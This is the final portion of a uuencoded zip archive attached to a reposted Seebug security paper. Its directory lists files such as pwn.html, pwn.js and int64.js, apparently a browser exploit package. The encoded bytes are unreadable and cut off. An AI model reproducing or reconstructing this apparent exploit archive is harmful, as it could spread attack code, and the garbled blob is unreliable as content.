M?OIM]^'3[MWNU]W[*WB&2DT;E?-"*)Y/A]WYD]J"9YT61E>A<*20Q!7_YBK?
M=20`4NDVU]?)RD9]QB4>:Z7(.-$6<T\Z!J)&CAKZ!6G%:A(KPA!;C^F/YQ<X
M'PC1$[*V]DW.%[!:P!2F40G/*9@]8(.E$=.![D?'$.`!\Z<:C'\I*NQ1"#3X
M@1L;#:\5E9#,R!84JS!=MZ[$;*7S1N)U0C3QJF@RASR3_FR37C(L_4)*G3&<
M?:QF.6B5X:<&=M#HY4;QC%M+DU9R5@,+8+H0(6_(XRA!]GG9*'J!KKEAW75Y
M]'U3%-P$-8+[O05>^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W<
MV4\>'^"O0^0!/CZ-P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^-
M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N<TG<\1I=[[/WX"O>#_42W
MT4)ZPOWXX%ZD:O[_<KP6_[-FO5-2RUWW;WI4MT[;Q]4@[Q\8#L]><M^W,ZUG
MCUI?Q)T6<>IT3;G!@$.R<]E%;+<PYCC)LP1W^0U02P$"'@,*``````!1KD9)
M````````````````!``8`````````!``[4$`````<W)C+U54!0`#":OV5W5X
M"P`!!/4!```$4````%!+`0(>`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@`
M``````$```"D@3X```!S<F,O96UA:6PN:'1M;%54!0`#G:KV5W5X"P`!!/4!
M```$4````%!+`0(>`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$`
M``"D@?T#``!S<F,O:6YT-C0N:G-55`4``[L[]E=U>`L``03U`0``!%````!0
M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@``
M<W)C+W!W;BYH=&UL550%``..JO97=7@+``$$]0$```10````4$L!`AX#%```
M``@`)*Y&2>G85Y(7"@``Z!H```H`&````````0```*2!ZPT``'-R8R]P=VXN
M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8
M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``-0
H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````
`
end

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/207/